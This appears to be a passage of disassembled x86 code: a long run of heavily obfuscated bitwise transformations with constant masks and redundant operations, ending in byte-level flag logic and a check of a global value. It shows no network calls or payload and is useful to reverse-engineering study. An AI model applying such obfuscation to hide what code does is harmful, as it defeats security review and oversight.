mov ecx, dword [ebp - 0x14]
or ecx, dword [ebp - 0x38]
not ecx
or ecx, eax
mov dword [ebp - 0x14], ecx
xor esi, 0x94d4f2d2
or esi, dword [ebp - 0x20]
mov ecx, esi
not ecx
mov eax, esi
and eax, 0xbeccd667
xor esi, 0x63e0f3d6
and esi, ecx
and ecx, 0x41332998
or ecx, eax
mov ebx, ecx
xor ebx, 0xbeccd667
mov edx, ebx
or edx, 0x63e0f3d6
mov dword [ebp - 0x28], ecx
xor ecx, 0x808
mov eax, edx
and eax, 0x737fc7c4
and ecx, 0x8c000829
or ecx, eax
mov eax, esi
not eax
or edx, eax
and eax, 0x737fc7c4
and esi, 0x8c80383b
or esi, eax
xor esi, ecx
not edx
or edx, esi
mov dword [ebp - 0x38], edx
mov eax, dword [ebp - 0x24]
mov ecx, eax
not ecx
mov dword [ebp - 0x4c], ecx
mov edi, eax
xor edi, 0x9c1f0c29
mov esi, edi
and esi, ecx
mov edx, esi
not edx
mov ecx, edx
and ecx, 0x89049f34
and esi, 0x76fb60cb
or esi, ecx
and edi, eax
mov eax, edi
not eax
or edx, eax
and eax, 0x89049f34
and edi, 0x76fb60cb
or edi, eax
xor edi, esi
not edx
or edx, edi
xor edx, dword [ebp - 0x38]
mov esi, dword [ebp - 0x28]
xor esi, 0x300918
mov eax, ebx
and eax, 0x79cf62e5
and esi, 0x86309d1a
or esi, eax
mov eax, dword [ebp - 0x24]
or ebx, eax
and eax, 0x79cf62e5
mov ecx, dword [ebp - 0x4c]
and ecx, 0x86309d1a
or ecx, eax
xor ecx, esi
not ebx
or ebx, ecx
not ebx
or ebx, edx
mov edi, dword [ebp - 0x14]
not edi
mov eax, edi
xor eax, ebx
not eax
and eax, ebx
or edi, ebx
not edi
or edi, eax
mov ecx, dword [ebp - 0x34]
mov eax, ecx
and ecx, 0xed7faeed
mov edx, ecx
mov ecx, dword [ebp - 0x2c]
and ecx, 0x12805112
or ecx, edx
mov edx, dword [ebp - 0x20]
or eax, edx
and edx, 0xed7faeed
mov esi, dword [ebp - 0x30]
and esi, 0x12805112
or esi, edx
xor esi, ecx
mov edx, esi
not edx
mov ecx, edx
and ecx, 0xde078fac
and esi, 0x21f87053
or esi, ecx
xor esi, eax
or edx, eax
xor esi, 0x21f87053
not edx
or edx, esi
mov eax, edx
not eax
mov ecx, edx
and ecx, 0x275d608b
and eax, 0xd8a29f74
or eax, ecx
xor eax, 0x275d608b
xor edx, eax
and edx, eax
mov eax, edx
not eax
mov ecx, edi
xor ecx, eax
and eax, 0x1fe12eba
and edx, 0xe01ed145
or edx, eax
and ecx, edi
xor edx, edi
mov eax, ecx
not eax
mov esi, eax
and esi, 0xb09e67bb
and ecx, 0x4f619844
or ecx, esi
mov esi, edx
xor esi, 0xf610800
xor edx, 0xe01ed145
or eax, edx
and edx, 0xb09e67bb
and esi, 0x4f619844
or esi, edx
xor esi, ecx
not eax
or eax, esi
mov ecx, eax
not ecx
mov esi, ecx
and esi, 0xa40ca00f
mov edx, eax
and edx, 0x40620aa0
or edx, esi
mov esi, ecx
and esi, 0x163daa4f
and eax, 0xe9c255b0
or eax, esi
xor eax, 0xdf4eb88f
or eax, ecx
mov esi, ecx
xor edx, 0x40620aa0
and esi, 0x1b915550
or esi, edx
mov ecx, esi
not ecx
and esi, 0x9a812c33
mov edx, ecx
and edx, 0x657ed3cc
or edx, esi
xor edx, 0x53f23ef3
and ecx, 0xc97312c0
or ecx, edx
mov edx, eax
not edx
mov esi, eax
and esi, 0x82085c44
xor eax, 0xfe7ead64
and eax, edx
mov edi, edx
and edi, 0x7df7a3bb
or edi, esi
mov edx, edi
xor edx, 0x7df7a3bb
xor edi, 0x83890edf
and edi, edx
or eax, edi
mov edi, ecx
xor edi, 0xfe7ead64
and edi, ecx
mov esi, edi
not esi
mov ebx, esi
and ebx, 0x730d1143
and edi, 0x8cf2eebc
or edi, ebx
or edx, ecx
mov ebx, ecx
or ecx, 0x181529b
not ebx
or esi, ecx
and ecx, 0x730d1143
and ebx, 0x8c72ac24
or ebx, ecx
xor ebx, edi
not esi
or esi, ebx
mov ecx, eax
xor ecx, eax
not ecx
and ecx, esi
xor ecx, eax
mov esi, ecx
not esi
mov eax, esi
and eax, 0xd3458609
and ecx, 0x2cba79f6
or ecx, eax
xor ecx, edx
xor ecx, 0x2cba79f6
or esi, edx
not esi
or esi, ecx
mov dword [ebp - 0x20], esi
mov ebx, dword [ebp - 0x1c]
mov eax, ebx
and eax, 0x103d1493
mov esi, dword [ebp - 0x18]
mov ecx, esi
and ecx, 0xefc2eb6c
or ecx, eax
mov eax, esi
and eax, ebx
mov edx, eax
not edx
mov edi, ebx
or edi, edx
and edx, 0x103d1493
and eax, 0xefc2eb6c
or eax, edx
xor eax, ecx
mov ecx, edi
not ecx
or ecx, eax
mov dword [ebp - 0x24], ecx
mov edx, ecx
not edx
mov eax, edx
mov dword [ebp - 0x14], edx
and eax, 0x194350c5
and ecx, 0xe6bcaf3a
or ecx, eax
mov edi, ecx
xor edi, edx
and edi, ecx
mov eax, esi
and eax, 0x85bd8ecb
mov ecx, ebx
and ecx, 0x7a427134
or ecx, eax
xor ecx, 0x630121f1
mov eax, esi
xor eax, ecx
and eax, ecx
mov ebx, eax
mov dword [ebp - 0x18], eax
mov edx, edi
not edx
mov ecx, edx
and ecx, 0x1db1d7f1
mov eax, edi
and eax, 0xe24e280e
or eax, ecx
not ebx
mov esi, ebx
and esi, 0x1db1d7f1
mov ecx, dword [ebp - 0x18]
and ecx, 0xe24e280e
or ecx, esi
xor ecx, eax
mov eax, edi
and eax, 0x5ede3e44
and edx, 0xa121c1bb
or edx, eax
mov eax, dword [ebp - 0x18]
or edi, eax
and eax, 0x5ede3e44
and ebx, 0xa121c1bb
or ebx, eax
xor ebx, edx
not edi
or edi, ebx
mov edx, ecx
not edx
mov eax, edx
and eax, 0x93825d76
and ecx, 0x6c7da289
or ecx, eax
xor ecx, edi
or edx, edi
xor ecx, 0x6c7da289
not edx
or edx, ecx
mov ecx, dword [ebp - 0x14]
and ecx, 0xa59ea045
mov eax, dword [ebp - 0x24]
and eax, 0x5a615fba
or eax, ecx
mov ebx, eax
xor ebx, 0x5a615fba
mov ecx, eax
xor ecx, 0x2d5131c2
and ecx, ebx
mov edi, ecx
not edi
mov esi, edi
and esi, 0x67d9cdab
and ecx, 0x98263254
or ecx, esi
mov esi, dword [ebp - 0x14]
or esi, 0x88cf9187
or edi, esi
and esi, 0x67d9cdab
mov dword [ebp - 0x14], esi
mov esi, dword [ebp - 0x24]
and esi, 0x10202250
add esi, dword [ebp - 0x14]
xor esi, ecx
not edi
or edi, esi
xor eax, 0x20820000
and eax, 0x72821c90
mov ecx, ebx
and ecx, 0x8d7de36f
or ecx, eax
xor ecx, 0x72821c91
and ebx, 1
or ebx, ecx
mov eax, edi
xor eax, 0x42202229
xor edi, 0x88cf9186
mov ecx, edi
and ecx, 0xbd9bcc56
and eax, 0x426433a9
or eax, ecx
mov ecx, ebx
not ecx
or edi, ebx
and ebx, 0xbd9bcc56
and ecx, 0x426433a9
or ecx, ebx
xor ecx, eax
mov esi, edx
xor esi, 0xe6bcaf3b
not edi
or edi, ecx
mov eax, edi
not eax
and edi, 0x23fe7654
and eax, 0xdc0189ab
or eax, edi
mov ecx, eax
xor ecx, 0xdc000881
xor eax, 0x23cc5604
and eax, 0x23cdd72e
and ecx, 0xdc3228d1
or ecx, eax
xor edx, 0x10405044
and edx, 0xd4ecd45d
mov eax, esi
and eax, 0x2b132ba2
or eax, edx
xor eax, 0x2b132ba2
mov edx, eax
and edx, 0x1714a919
and esi, 0xe8eb56e6
or esi, edx
mov edi, ecx
xor edi, 0xdc3228d1
mov edx, ecx
xor ecx, 0xcb2681c8
mov ebx, ecx
and ecx, edi
xor edx, 0x23cdd72e
mov dword [ebp - 0x14], edx
and ebx, edx
mov edi, ebx
not edi
mov edx, edi
and edx, 0x103ae4f5
and ebx, 0xefc51b0a
or ebx, edx
mov edx, ecx
not edx
or edi, edx
and edx, 0x103ae4f5
and ecx, 0xefc51b0a
or ecx, edx
xor ecx, ebx
not edi
or edi, ecx
mov ecx, edi
xor ecx, edi
not ecx
and ecx, esi
xor ecx, edi
or eax, dword [ebp - 0x14]
not eax
or eax, ecx
mov edx, eax
not edx
mov esi, edx
and esi, 0x8600c20
mov ecx, eax
and ecx, 0x8001
or ecx, esi
xor ecx, 0x8001
mov esi, eax
xor esi, 0x8be8af2d
and esi, eax
or ecx, esi
not esi
and esi, 0x60151092
and ecx, 0x8608c21
or ecx, esi
and edx, 0x140a2240
and eax, 0x8380410c
or eax, edx
mov edx, eax
xor edx, 0x2804104
or edx, 0x28410802
xor eax, 0x10020240
and eax, 0x91020248
and edx, 0x2ec96906
or edx, eax
xor edx, 0x2ec96906
or edx, ecx
mov eax, edx
not eax
mov ecx, eax
or ecx, 0x4100a050
mov esi, edx
or esi, 0x2050e01
and esi, 0x4305ae51
and eax, 0xb0104024
or eax, esi
and ecx, 0x4305ae51
and edx, 0xcea118a
or edx, ecx
xor edx, eax
mov ecx, edx
xor ecx, 0x20028
mov eax, edx
xor eax, 0x99657cc7
xor edx, 0x7c0b1128
and edx, eax
mov esi, eax
or esi, 0x10011210
and esi, 0x75095bd5
and ecx, 0x8066242a
or ecx, esi
mov esi, edx
not esi
or eax, esi
and esi, 0x75095bd5
and edx, 0x8af6a42a
or edx, esi
xor edx, ecx
not eax
or eax, edx
not edx
and edx, 0x1a919210
and eax, 0xe56e6def
or eax, edx
mov edx, eax
not edx
mov ecx, edx
and ecx, 0xab21a28d
and eax, 0x54de5d72
or eax, ecx
xor eax, 0xab21a28d
xor edx, eax
and edx, eax
mov esi, edx
mov edx, dword [ebp - 0x20]
mov ecx, edx
not ecx
mov eax, ecx
mov edi, ecx
mov dword [ebp - 0x14], ecx
and eax, 0x4d9590d5
mov ecx, edx
and ecx, 0xb26a6f2a
or ecx, eax
xor ecx, 0xb26a6f2a
and edi, edx
or edi, ecx
mov dword [ebp - 0x18], edi
mov ecx, edi
not ecx
mov dword [ebp - 0x1c], ecx
mov eax, ecx
and eax, 0x4bf18745
mov edx, edi
and edx, 0xb40e78ba
or edx, eax
mov edi, edx
xor edi, ecx
and edi, edx
mov dword [ebp - 0x24], esi
mov ebx, esi
not ebx
mov eax, esi
and eax, 0xc90439fc
mov edx, ebx
and edx, 0x36fbc603
or edx, eax
xor edx, 0x82f5beb9
mov eax, edx
xor eax, esi
and eax, edx
mov edx, esi
and edx, 0xbfa27ad2
mov esi, ebx
and esi, 0x405d852d
or esi, edx
xor esi, 0xbac0268
mov edx, ebx
and edx, 0xb40e78ba
or edx, esi
mov ecx, edi
not ecx
mov esi, ecx
and ecx, 0xb6f5f5ed
and edi, 0x490a0a12
or edi, ecx
mov ecx, dword [ebp - 0x14]
or ecx, 0xb40e78ba
or esi, ecx
and ecx, 0xb6f5f5ed
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp - 0x20]
and ecx, 0x49000200
add ecx, dword [ebp - 0x14]
xor ecx, edi
not esi
or ecx, esi
mov edi, ecx
xor edx, eax
and eax, edx
mov ecx, eax
not ecx
mov esi, ecx
and esi, 0x65040b6c
and eax, 0x9afbf493
or eax, esi
mov esi, edx
not esi
or ecx, edx
and edx, 0x65040b6c
and esi, 0x9afbf493
or esi, edx
xor esi, eax
not ecx
or ecx, esi
xor edi, 0xc23ccc09
xor ecx, 0xc23ccc09
mov eax, ecx
xor eax, ecx
not eax
and eax, edi
xor eax, ecx
mov ecx, dword [ebp - 0x18]
mov edx, ecx
mov edi, dword [ebp - 0x24]
xor edx, edi
and edx, ecx
mov esi, dword [ebp - 0x1c]
and esi, 0x394658bd
and ecx, 0xc6b9a742
or ecx, esi
and edi, 0x394658bd
and ebx, 0xc6b9a742
or ebx, edi
xor ebx, ecx
mov ecx, edx
not ecx
mov esi, ecx
and esi, 0xd64e89a7
and edx, 0x29b17658
or edx, esi
mov esi, ebx
not esi
or ecx, esi
and esi, 0xd64e89a7
and ebx, 0x29b17658
or ebx, esi
xor ebx, edx
not ecx
or ecx, ebx
mov esi, ecx
not esi
mov edx, eax
not edx
and esi, edx
or edx, ecx
not edx
and ecx, eax
or ecx, esi
or ecx, edx
mov eax, ecx
not eax
mov edi, eax
mov eax, ecx
mov edx, ecx
and edx, 0x108a0114
mov esi, edi
and esi, 0x83401240
or esi, edx
mov edx, edi
and edx, 0x2825d3b
and eax, 0xfd7da2c4
or eax, edx
mov edx, eax
and eax, ecx
mov ebx, edi
mov dword [ebp - 0x14], edi
and edi, 0x93ca1354
and ecx, 0x6c35ecab
or ecx, edi
mov edi, ecx
xor edi, ebx
and edi, ecx
mov ecx, esi
xor ecx, 0x880110
xor esi, 0xef75feeb
mov ebx, esi
and esi, 0x5157400f
and ecx, 0x82881350
or ecx, esi
mov esi, edi
not esi
or ebx, esi
and esi, 0x5157400f
and edi, 0xaea8bff0
or edi, esi
xor edi, ecx
not ebx
or edi, ebx
mov ecx, edi
xor ecx, 0x5ec099e
and ecx, edi
mov esi, edi
or edi, 0xfa13f661
not esi
mov ebx, edi
and ebx, 0xc83c1a6b
and esi, 0x5c00194
or esi, ebx
mov ebx, ecx
not ebx
or edi, ebx
and ebx, 0xc83c1a6b
and ecx, 0x37c3e594
or ecx, ebx
xor ecx, esi
not edi
or edi, ecx
mov esi, edi
xor esi, 0x6959a004
xor edi, 0x96261aca
mov ecx, edi
and edi, 0x2825d3b
and esi, 0xfd7da2c4
or esi, edi
and ecx, 0xfd7da2c4
or esi, ecx
mov ecx, esi
not ecx
mov edi, ecx
and edi, 0x4900830
and esi, 0x8008d245
or esi, edi
xor esi, 0x8008d245
and ecx, 0x7b67258a
or ecx, esi
not edx
mov esi, dword [ebp - 0x14]
and esi, edx
or eax, esi
not eax
or eax, edx
mov edi, eax
mov ebx, ecx
not ebx
mov eax, ebx
and eax, 0x81800033
mov edx, ecx
and edx, 0x100a0408
or edx, eax
mov eax, ebx
or eax, 0x918a043b
and eax, 0x999a547f
mov esi, ecx
and esi, 0x2445ab80
or esi, eax
xor edx, 0x81800033
mov eax, ebx
and eax, 0x42200000
add eax, edx
add eax, 0x8105044
xor eax, esi
mov dword [ebp - 0x18], eax
mov edx, eax
xor edx, 0x2c55fbc4
mov dword [ebp - 0x24], edx
mov esi, eax
xor esi, 0xd3aa043b
mov dword [ebp - 0x28], esi
mov eax, esi
and eax, 0xc67aa12a
and edx, 0x39855ed5
or edx, eax
xor edx, 0x925d9fc8
mov eax, edx
xor eax, esi
and eax, edx
or ebx, 0xab10810d
and ecx, 0x50252020
and ebx, 0xaf129fcf
or ebx, ecx
mov ecx, edi
not ecx
mov dword [ebp - 0x14], ecx
and ecx, 0x22c8800d
mov esi, edi
mov dword [ebp - 0x2c], edi
and esi, 0x89104110
or esi, ecx
mov edx, esi
xor edx, 0x8100100
or edx, 0x50073860
xor esi, 0x20880005
and esi, 0xa1884015
and edx, 0x5a57b968
or edx, esi
mov ecx, edi
and ecx, 0xabd8c11d
mov esi, dword [ebp - 0x14]
and esi, 0x54273ee2
or esi, ecx
mov ecx, esi
xor ecx, edi
and ecx, esi
mov dword [ebp - 0x1c], ecx
mov esi, ebx
xor esi, 0x20642
xor ebx, 0x50ed6030
mov ecx, eax
xor ecx, ebx
and ebx, 0x2f29d9a5
and esi, 0x50062642
or esi, ebx
and ecx, eax
xor esi, eax
mov edi, ecx
not edi
mov eax, edi
and eax, 0x476ccafe
and ecx, 0xb8933501
or ecx, eax
mov eax, esi
xor eax, 0x28011101
xor esi, 0xd0d6265a
or edi, esi
and esi, 0x476ccafe
and eax, 0xb8933501
or eax, esi
xor eax, ecx
not edi
or edi, eax
mov dword [ebp - 0x20], edi
mov eax, edx
xor eax, 0x5a57b968
mov esi, edx
xor esi, 0xa5a84697
mov ecx, esi
and ecx, 0xa49e7d0a
xor edx, 0xaac8c000
and edx, eax
or edx, ecx
mov ecx, dword [ebp - 0x1c]
mov edi, ecx
not edi
xor ecx, 0xa49e7d0a
and ecx, edi
mov ebx, dword [ebp - 0x1c]
and ebx, 0x5b6182f5
or ebx, ecx
mov ecx, ebx
xor ecx, ebx
not ecx
and ecx, edx
xor ecx, ebx
mov edx, eax
and edx, 0xa2808119
and esi, 0x19797044
or esi, edx
mov edx, dword [ebp - 0x1c]
or eax, edx
and edx, 0xe6868fbb
and edi, 0x19797044
or edi, edx
xor edi, esi
not eax
or eax, edi
mov edx, ecx
not edx
mov esi, edx
and esi, 0x580e2565
and ecx, 0xa7f1da9a
or ecx, esi
mov esi, eax
not esi
or edx, eax
and eax, 0x580e2565
and esi, 0xa7f1da9a
or esi, eax
xor esi, ecx
not edx
or edx, esi
mov edi, dword [ebp - 0x20]
mov esi, edi
not esi
mov eax, esi
and eax, 0xee0eb0e7
and edi, 0x11f14f18
or edi, eax
mov ebx, edx
not ebx
mov eax, ebx
and eax, 0xa909df37
mov ecx, edx
and ecx, 0x56f620c8
or ecx, eax
mov eax, ecx
xor eax, 0x56f620c8
xor ecx, 0x9b44d944
and ecx, eax
mov eax, edi
xor eax, 0x10010
xor edi, 0x20000040
or edi, 0xc510a084
and edi, 0xf550a6c4
and eax, 0x20d0033
or eax, edi
or esi, 0x30400640
and esi, 0xf550a6c4
mov edi, dword [ebp - 0x20]
and edi, 0x8a25908
or edi, esi
xor edi, eax
mov esi, ecx
not esi
mov eax, esi
and eax, 0x66395d1b
and ecx, 0x99c6a2e4
or ecx, eax
or ebx, 0x324d0673
or esi, ebx
and ebx, 0x66395d1b
and edx, 0x8982a084
or edx, ebx
xor edx, ecx
not esi
or esi, edx
mov eax, esi
xor eax, esi
not eax
and eax, edi
xor eax, esi
mov esi, dword [ebp - 0x18]
xor esi, 0x3640429a
mov ebx, dword [ebp - 0x24]
and esi, ebx
mov ecx, dword [ebp - 0x28]
and ecx, 0xeda42564
and ebx, 0x125bda9b
or ebx, ecx
mov ecx, ebx
xor ecx, 0x125bda9b
mov edx, ebx
xor edx, 0xf7b19c3a
and edx, ecx
or esi, edx
mov dword [ebp - 0x18], esi
mov edi, dword [ebp - 0x2c]
mov edx, edi
xor edx, 0x1a15b95e
and edx, dword [ebp - 0x14]
mov esi, edi
and esi, 0xe5ea46a1
or esi, edx
mov edx, esi
xor edx, esi
not edx
and edx, dword [ebp - 0x18]
xor edx, esi
xor ebx, 0xeda42564
mov esi, ebx
and esi, 0x5e482789
and ecx, 0xa1b7d876
or ecx, esi
or ebx, edi
and edi, 0x5e482789
mov esi, dword [ebp - 0x14]
and esi, 0xa1b7d876
or esi, edi
xor esi, ecx
not ebx
or ebx, esi
not ebx
or ebx, edx
mov ecx, ebx
not ecx
mov edx, ebx
and edx, 0x691086a7
and ecx, 0x96ef7958
or ecx, edx
xor ecx, 0x691086a7
xor ebx, ecx
and ebx, ecx
mov esi, eax
not esi
mov edx, ebx
not edx
mov ecx, esi
or ecx, edx
not ecx
and esi, 0x15e7868a
and eax, 0xea187975
or eax, esi
and edx, 0x15e7868a
and ebx, 0xea187975
or ebx, edx
xor ebx, eax
or ebx, ecx
mov ecx, ebx
not ecx
mov eax, ecx
and eax, 0xdc7ca284
mov edx, ebx
and edx, 0x21010040
or edx, eax
mov eax, edx
xor eax, 0x21010040
xor edx, 0xdc7ca284
or ecx, 0x6428a240
and ebx, 0x280142b
and ecx, 0x642aeb50
or ecx, ebx
xor ecx, 0x642aeb50
and edx, eax
or ecx, eax
mov eax, edx
not eax
mov esi, ecx
not esi
mov edi, eax
and edi, 0xaa90f70c
and edx, 0x556d00c0
or edx, edi
or eax, esi
and esi, 0xaa90f70c
and ecx, 0x556f08f3
or ecx, esi
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
or edx, 0x200b8080
mov esi, eax
or esi, 0x514402b
and esi, 0x251fc0ab
and ecx, 0x58402744
or ecx, esi
and edx, 0x251fc0ab
and eax, 0x82a01810
or eax, edx
xor eax, ecx
mov edx, eax
xor edx, 0x81804822
xor eax, 0x480b8344
and eax, 0x4e3f935d
and edx, 0xb1c06ca2
or edx, eax
mov eax, edx
xor eax, 0x81c04022
mov ecx, edx
xor ecx, 0x4e3f935d
and eax, 0xcde24063
xor edx, 0x34e033f4
and edx, ecx
mov edi, ecx
and edi, 0x321dbf9c
or edi, eax
mov esi, edi
xor esi, 0x321dbf9c
mov eax, edi
xor eax, 0xb73de0ca
and eax, esi
or edx, eax
mov eax, edx
xor eax, 0x7adfa0a9
xor edi, 0x4400062
and edi, 0x44420e6
mov ecx, esi
and ecx, 0xfbbbdf19
or ecx, edi
xor ecx, 0xfbbbdf19
or ecx, esi
xor edx, 0x85205f56
mov esi, edx
and esi, 0x3574d901
and eax, 0xca8b26fe
or eax, esi
xor eax, ecx
xor eax, 0xca8b26fe
or edx, ecx
not edx
or edx, eax
mov eax, edx
not eax
mov ecx, eax
and ecx, 0xd861212d
mov esi, edx
and esi, 0x279eded2
or esi, ecx
mov ecx, esi
xor ecx, 0x251a0450
xor esi, 0xd861212d
mov edi, esi
and edi, 0x4ac4fb82
and ecx, 0xb53b047d
or ecx, edi
mov edi, eax
and edi, edx
mov ebx, edi
not ebx
or esi, ebx
and ebx, 0x4ac4fb82
and edi, 0xb53b047d
or edi, ebx
xor edi, ecx
not esi
or esi, edi
mov ebx, esi
mov dword [ebp - 0x14], esi
not ebx
mov edi, ebx
mov dword [ebp - 0x18], ebx
and edi, 0xd33037d7
and esi, 0x2ccfc828
or esi, edi
and eax, 0x10061560
and edx, 0xcce06287
or edx, eax
mov eax, edx
xor eax, 0xc8e02087
or eax, 0x2098800
xor edx, 0x1400
and edx, 0x4005600
and eax, 0xdaefa9e7
or eax, edx
mov edi, eax
xor edi, 0xdae6a9e7
mov edx, eax
xor eax, 0x88e63623
and eax, edi
xor edx, 0x25105618
mov edi, edx
and edi, 0x52009fd4
or eax, edi
xor esi, 0xf029bfcf
or esi, ebx
mov edi, esi
xor edi, 0x8dff602b
and edi, esi
mov ebx, edi
not ebx
mov ecx, ebx
and ecx, 0x481e36ae
and edi, 0xb7e1c951
or edi, ecx
or edx, esi
mov ecx, esi
or esi, 0x72009fd4
not ecx
or ebx, esi
and esi, 0x481e36ae
and ecx, 0x85e14001
or ecx, esi
xor ecx, edi
not ebx
or ebx, ecx
and eax, 0xdee6fff7
xor eax, ebx
mov ecx, eax
xor ecx, 0x20000000
xor eax, 0xdfffffff
mov esi, eax
and esi, 0xd64831fb
and ecx, 0x29b7ce04
or ecx, esi
mov esi, edx
not esi
or eax, edx
and edx, 0xd64831fb
and esi, 0x8a64604
or esi, edx
xor esi, ecx
not eax
or eax, esi
mov edx, eax
xor edx, 0x21000808
mov esi, dword [ebp - 0x18]
and esi, 0xde5811ac
mov ecx, dword [ebp - 0x14]
mov edi, ecx
and edi, 0x21a7ee53
or edi, esi
xor edi, 0x21a7ee53
or edi, ecx
mov ecx, edi
xor ecx, 0xc39aa2f0
xor eax, 0xdce677e7
mov esi, eax
and esi, 0x429ba0f0
and edx, 0xbd645f0f
or edx, esi
or ecx, 0x1c20190f
mov esi, edi
and ecx, 0x5eb8995f
or eax, edi
mov ebx, edi
and edi, 0x320a0
or edi, ecx
or esi, 0x42988050
not ebx
and esi, 0x5eb8995f
and ebx, 0xa1444600
or ebx, esi
xor ebx, edi
mov esi, ebx
xor esi, ebx
not esi
and esi, edx
xor esi, ebx
mov edx, eax
not edx
mov ecx, esi
not ecx
mov edi, ecx
and edi, 0x5f3a7bd7
and esi, 0xa0c58428
or esi, edi
or ecx, eax
and eax, 0x5f3a7bd7
and edx, 0xa0c58428
or edx, eax
xor edx, esi
not ecx
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x7bc5be1c
and edx, 0x843a41e3
or edx, ecx
mov eax, edx
xor eax, 0x843a0163
xor edx, 0x50c49808
and edx, 0x50c4d888
and eax, 0xaf3b2777
or eax, edx
mov ecx, eax
xor ecx, 0x40c45808
xor eax, 0x21312576
and eax, 0x3131a5f6
and ecx, 0xcece5a09
or ecx, eax
mov esi, ecx
xor esi, 0xcece5a09
xor ecx, 0x3131a5f6
mov edx, esi
or edx, 0x2193808
mov eax, esi
and esi, 0x816e1df8
mov edi, ecx
and edi, 0x7e91e207
or edi, esi
mov esi, ecx
xor edi, 0x7e91e207
or edi, ecx
or ecx, 0x41220204
and edx, 0x433b3a0c
and esi, 0x2c4484f3
or esi, edx
and ecx, 0x433b3a0c
and eax, 0x90804100
or eax, ecx
xor eax, esi
mov edx, eax
xor edx, 0x48408470
mov ecx, edi
not ecx
xor eax, 0x92997908
mov esi, eax
and esi, 0x37be2b87
and edx, 0xc841d478
or edx, esi
or eax, edi
and edi, 0x37be2b87
and ecx, 0xc841d478
or ecx, edi
xor ecx, edx
not eax
or eax, ecx
xor eax, 0xf466f741
xor eax, 0xf466f741
setne ah
sete al
cmp dword [0x10049904], 0xa
setge dl
setl ch
mov bl, ch
xor bl, al
mov bh, al
mov byte [ebp - 0x14], al
and bl, ch
xor bl, 1
mov dh, ah
or dh, ch
mov al, bl
xor al, dh
or bl, dh
xor bl, 1
or bl, al
mov cl, bl
xor cl, 1
mov al, ah
and al, cl
and bl, bh
or bl, al
xor cl, bl
and cl, bl
mov bh, dl
xor bh, ah
and bh, ch
xor bh, 1
mov al, dh
xor al, bh
or bh, dh
xor bh, 1
or bh, al
mov al, bh
xor al, ch
or bh, ch
xor bh, 1
or bh, al
mov al, bh
xor al, 1
xor cl, 1
mov dh, bh
and dh, al
xor dh, 1
or dh, al
xor dh, 1
or dh, bh
xor dh, cl
mov bl, dh
xor bl, 1
mov al, cl
xor al, bh
or cl, bh
xor cl, 1
or cl, al
xor al, 1
mov bh, al
xor bh, cl
or al, cl
xor al, 1
or al, bh
mov cl, al
xor cl, 1
and cl, al
xor cl, 1
mov bh, al
xor bh, cl
or cl, al
xor cl, 1
or cl, bh
and dh, bl
xor dh, 1
mov al, dh
xor al, bl
or dh, bl
xor dh, 1
or dh, al
mov al, dh
xor al, 1
and al, cl
xor cl, 1
and dh, cl
or dh, al
or cl, bl
xor cl, 1
or cl, dh
mov ebx, ecx
mov cl, ah
mov bh, dl
and cl, dl
mov al, ch
movzx edx, byte [ebp - 0x14]
and al, dl
or al, cl
mov dh, al
xor dh, 1
and ah, ch
and ch, dh
mov cl, bh
and al, bh
or al, ch
xor dh, al
and dh, al
and cl, dl
or cl, ah
mov ch, dh
xor ch, 1
mov dl, cl
not dl
and dl, cl
xor dl, 1
mov eax, ecx
xor al, dl
or dl, cl
xor dl, 1
or dl, al
mov ah, dh
xor ah, cl
and cl, ah
and ah, dh
mov al, cl
xor al, 1
xor cl, ah
xor ah, 1
or ah, al
xor ah, 1
or ah, cl
xor dh, ch
and dh, dl
xor dh, ch
mov al, ch
xor al, dl
or dl, ch
xor dl, 1
or dl, al
xor dh, 1
mov al, dh
xor al, dl
or dh, dl
xor dh, 1
or dh, al
xor dh, 1
mov al, ah
xor al, dh
or dh, ah
xor dh, 1
or dh, al
xor dh, 1
or dh, al
mov cl, dh
xor cl, 1
mov eax, ecx
and al, dh
xor al, 1
or al, dh
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
and cl, al
xor cl, 1
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, 1
mov edx, eax
and dl, cl
xor dl, 1
or dl, al
xor dl, 1
or dl, cl
mov ch, dl
xor ch, 1
mov ah, ch
and ah, dl
xor ch, ah
xor ah, 1
or ah, dl
xor ah, 1
or ah, ch
mov dl, ah
xor dl, 1
and al, dl
and ah, cl
or ah, al
mov al, dl
xor al, cl
or dl, cl
xor dl, 1
or dl, al
xor ah, 1
mov al, ah
xor al, dl
or ah, dl
xor ah, 1
or ah, al
mov al, ah
xor al, 1
mov ecx, ebx
xor cl, 1
mov edx, ecx
mov ch, ah
and ch, al
mov dh, ch
xor dh, 1
mov cl, dh
and cl, ch
xor cl, 1
or cl, ch
xor cl, 1
or cl, dh
or al, dh
xor al, 1
or al, ah
xor al, cl
or dh, ah
xor dh, 1
or dh, al
mov ah, dh
mov bh, dh
mov byte [ebp - 0x1c], dh
xor ah, 1
mov byte [ebp - 0x14], dl
mov dh, dl
mov byte [ebp - 0x18], bl
and dh, bl
xor dh, 1
or dh, bl
xor dh, 1
or dh, dl
and bh, ah
xor bh, 1
mov al, ah
xor al, bh
or bh, ah
xor bh, 1
or bh, al
mov dl, bh
xor dl, 1
mov ch, bh
and ch, dl
xor ch, 1
mov al, bh
xor al, ch
mov bl, bh
or bl, ch
xor bl, 1
or al, bh
or al, bl
mov bl, dh
xor bl, 1
or ch, dl
xor ch, 1
or ch, bh
mov cl, ch
xor cl, 1
and cl, al
mov bh, al
xor bh, 1
and ch, bh
or ch, cl
mov al, dl
xor al, bh
or bh, dl
xor bh, 1
or bh, al
xor bh, 1
or bh, ch
mov ch, bh
xor ch, 1
mov cl, dh
and cl, ch
mov al, bh
and al, bl
or al, cl
xor bh, bl
xor al, 1
or al, ch
or ch, dh
mov cl, al
xor cl, 1
xor ch, 1
or ch, bh
mov dl, ch
xor dl, 1
and dl, al
and cl, ch
or cl, dl
or ch, al
xor ch, 1
or ch, cl
mov cl, byte [ebp - 0x1c]
movzx edx, byte [ebp - 0x14]
and cl, dl
mov dh, byte [ebp - 0x18]
mov al, dh
xor al, ah
and al, dh
and dh, ah
or dh, cl
xor ah, dl
or ah, al
mov al, dh
xor al, 1
mov cl, dh
and cl, al
xor cl, 1
or cl, al
xor cl, 1
or cl, dh
mov edx, ecx
and cl, ah
or al, ah
xor ah, 1
xor dl, 1
and dl, ah
xor al, 1
or al, cl
or al, dl
xor al, 1
xor ch, al
xor ch, 1
and al, ch
xor al, 1
mov cl, al
or cl, ch
